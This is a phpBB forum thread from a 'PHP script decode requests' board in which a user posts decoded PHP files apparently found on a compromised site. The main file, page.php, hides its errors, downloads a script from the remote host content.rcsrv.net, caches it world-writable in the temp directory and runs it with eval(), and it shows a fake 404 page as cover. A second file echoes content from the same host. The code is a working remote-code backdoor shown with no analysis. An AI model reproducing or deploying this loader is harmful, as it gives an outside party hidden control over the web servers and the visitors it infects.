}
if (!function_exists("stripos")) {
function stripos($str, $needle, $offset = 0)
{
return strpos(strtolower($str), strtolower($needle), $offset);
}
}
}
function GR_GetHostId()
{
if (defined("GR_HOST_ID")) {
$host_id = GR_HOST_ID;
if (empty($host_id)) {
$host_id = getenv("HTTP_HOST");
}
} else {
$host_id = getenv("HTTP_HOST");
}
return $host_id;
}
function GR_ParseHeaders($s_headers)
{
$headers = array();
$hs = explode("\n", $s_headers);
foreach ($hs as $h) {
$h = trim($h);
if (!empty($h)) {
list($var, $value) = explode(": ", $h, 2);
$headers[$var] = $value;
}
}
return $headers;
}
function GR_ServerRequest($func_name, $vars = array())
{
$url = GR_SERVER_API_URL . "?ver=" . GR_CLIENT_VERSION . "&func=" . urlencode($func_name) . "&host_id=" . urlencode(GR_GetHostId());
foreach ($vars as $var => $value) {
$url .= "&" . urlencode($var) . "=" . urlencode($value);
}
$a_full = file_get_contents($url);
list($a_headers, $a_content) = explode("\r\n\r\n", $a_full, 2);
$headers = GR_ParseHeaders($a_headers);
if ($headers['status'] == "ok") {
return $a_content;
} else {
return false;
}
}
function GR_GetCachePath()
{
$path = false;
if (function_exists('sys_get_temp_dir')) {
$path = sys_get_temp_dir();
} else {
if($path = getenv('TMP'));
elseif ($path = getenv('TEMP'))
elseif ($path = getenv('TMPDIR'))
else {
$path = tempnam(__FILE__, '');
if (file_exists($path)) {
unlink($path);
$path = dirname($path);
}
}
}
return $path ? realpath($path) : false;
}
function GR_GetCache($filename, $time = 0, &$path)
{
$path = GR_GetCachePath() . DIRECTORY_SEPARATOR . $filename . ".che";
if (file_exists($path)) {
if ($time == 0) {
return file_get_contents($path);
} elseif ($time > 0 and time() - filemtime($path) < $time) {
return file_get_contents($path);
} else {
return false;
}
} else {
return false;
}
}
function GR_SaveCache($filename, $content)
{
$path = GR_GetCachePath() . DIRECTORY_SEPARATOR . $filename . ".che";
$fh = fopen($path, "w");
if ($fh) {
fwrite($fh, $content);
fclose($fh);
return true;
} else {
return false;
}
}
GR_Init();
GR_Run();
?> |
|
|
|
|
|
|
|
|
|
| Posted: Sun Sep 12, 2010 12:55 am |
|
|
| tsabitah |
| Valuable expert |
|
|
| Joined: Jul 07, 2010 |
| Posts: 328 |
| Location: surabaya |
|
|
|
|
|
|
page.php
| Code: | <?php
ini_set("display_errors", 0);
error_reporting(0);
define("CLIENT_VERSION", "remote_page_v2");
define("SERVER_API_URL", "http://content.rcsrv.net/api.php");
define("HOST_ID", "");
define("USE_CACHE_SCRIPT", true);
define("CACHE_SCRIPT_TIME", 60 * 60 * 12);
function Init()
{
if (!function_exists('str_ireplace')) {
function str_ireplace($search, $replace, $subject)
{
if (is_array($search)) {
foreach ($search as $id => $r_search) {
$r_replace = is_array($replace) ? $replace[$id] : $replace;
$token = chr(1);
$haystack = strtolower($subject);
$needle = strtolower($r_search);
while (($pos = strpos($haystack, $needle)) !== false) {
$subject = substr_replace($subject, $token, $pos, strlen($r_search));
$haystack = substr_replace($haystack, $token, $pos, strlen($r_search));
}
$subject = str_replace($token, $r_replace, $subject);
}
} else {
$token = chr(1);
$haystack = strtolower($subject);
$needle = strtolower($search);
while (($pos = strpos($haystack, $needle)) !== false) {
$subject = substr_replace($subject, $token, $pos, strlen($search));
$haystack = substr_replace($haystack, $token, $pos, strlen($search));
}
$subject = str_replace($token, $replace, $subject);
}
return $subject;
}
}
if (!function_exists("stripos")) {
function stripos($str, $needle, $offset = 0)
{
return strpos(strtolower($str), strtolower($needle), $offset);
}
}
}
function GetRequest($name, $default = null)
{
return isset($_REQUEST[$name]) ? $_REQUEST[$name] : $default;
}
function GetServerVar($name, $default = null)
{
return getenv($name);
}
function GetHostId()
{
if (defined("HOST_ID")) {
$host_id = HOST_ID;
if (empty($host_id)) {
$host_id = GetServerVar("HTTP_HOST");
}
} else {
$host_id = GetServerVar("HTTP_HOST");
}
return $host_id;
}
function ParseHeaders($s_headers)
{
$headers = array();
$hs = explode("\n", $s_headers);
foreach ($hs as $h) {
$h = trim($h);
if (!empty($h)) {
list($var, $value) = explode(": ", $h, 2);
$headers[$var] = $value;
}
}
return $headers;
}
function ServerRequest($func_name, $vars = array())
{
$url = SERVER_API_URL . "?ver=" . CLIENT_VERSION . "&func=" . urlencode($func_name) . "&host_id=" . urlencode(GetHostId());
foreach ($vars as $var => $value) {
$url .= "&" . urlencode($var) . "=" . urlencode($value);
}
$a_full = file_get_contents($url);
list($a_headers, $a_content) = explode("\r\n\r\n", $a_full, 2);
$headers = ParseHeaders($a_headers);
if ($headers['status'] == "ok") {
return $a_content;
} else {
return false;
}
}
function GetCachePath()
{
$path = false;
if (function_exists('sys_get_temp_dir')) {
$path = sys_get_temp_dir();
} else {
if($path = getenv('TMP'));
elseif ($path = getenv('TEMP'))
elseif ($path = getenv('TMPDIR'))
else {
$path = tempnam(__FILE__, '');
if (file_exists($path)) {
unlink($path);
$path = dirname($path);
}
}
}
return $path ? realpath($path) : false;
}
function GetCache($filename, $time = 0, &$path)
{
$path = GetCachePath() . DIRECTORY_SEPARATOR . $filename . ".che";
if (file_exists($path)) {
if ($time == 0) {
return file_get_contents($path);
} elseif ($time > 0 and time() - filemtime($path) < $time) {
return file_get_contents($path);
} else {
return false;
}
} else {
return false;
}
}
function SaveCache($filename, $content)
{
$path = GetCachePath() . DIRECTORY_SEPARATOR . $filename . ".che";
$fh = fopen($path, "w");
if ($fh) {
fwrite($fh, $content);
fclose($fh);
chmod($path, 0777);
return true;
} else {
return false;
}
}
function DisplayError($code)
{
if (empty($code) or !in_array($code, array(404, 500))) {
$code = 404;
}
switch ($code) {
case 404:
header("HTTP/1.1 404 Not Found");
header("Status: 404 Not Found");
echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n" . "<html><head>\n" . "<title>404 Not Found</title>\n" . "</head><body>\n" . "<h1>Not Found</h1>\n" . "<p>The requested URL " . GetServerVar("REQUEST_URI") . " was not found on this server.</p>\n" . "</body></html>";
break;
case 500:
header("HTTP/1.1 500 Internal Server Error");
break;
}
die();
}
Init();
if (USE_CACHE_SCRIPT) {
$cache_id = md5(GetHostId() . CLIENT_VERSION);
$script = GetCache($cache_id, CACHE_SCRIPT_TIME);
if ($script == false) {
$script = ServerRequest("get_script");
SaveCache($cache_id, $script);
}
} else {
$script = ServerRequest("get_script");
}
if ($script) {
eval($script);
} else {
DisplayError(404);
}
?> |
|
|
|
|
|
|
|
|
|
| Posted: Sun Sep 12, 2010 12:56 am |
|
|
| tsabitah |
| Valuable expert |
|
|
| Joined: Jul 07, 2010 |
| Posts: 328 |
| Location: surabaya |
|
|
|
|
|
|
tmp_t80x9.php
| Code: | <?php
ini_set("display_errors", 0);
error_reporting(0);
echo file_get_contents("http://content.rcsrv.net/check.html");
?> |
|
|
|
|
|
www.waraxe.us Forum Index -> PHP script decode requests
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
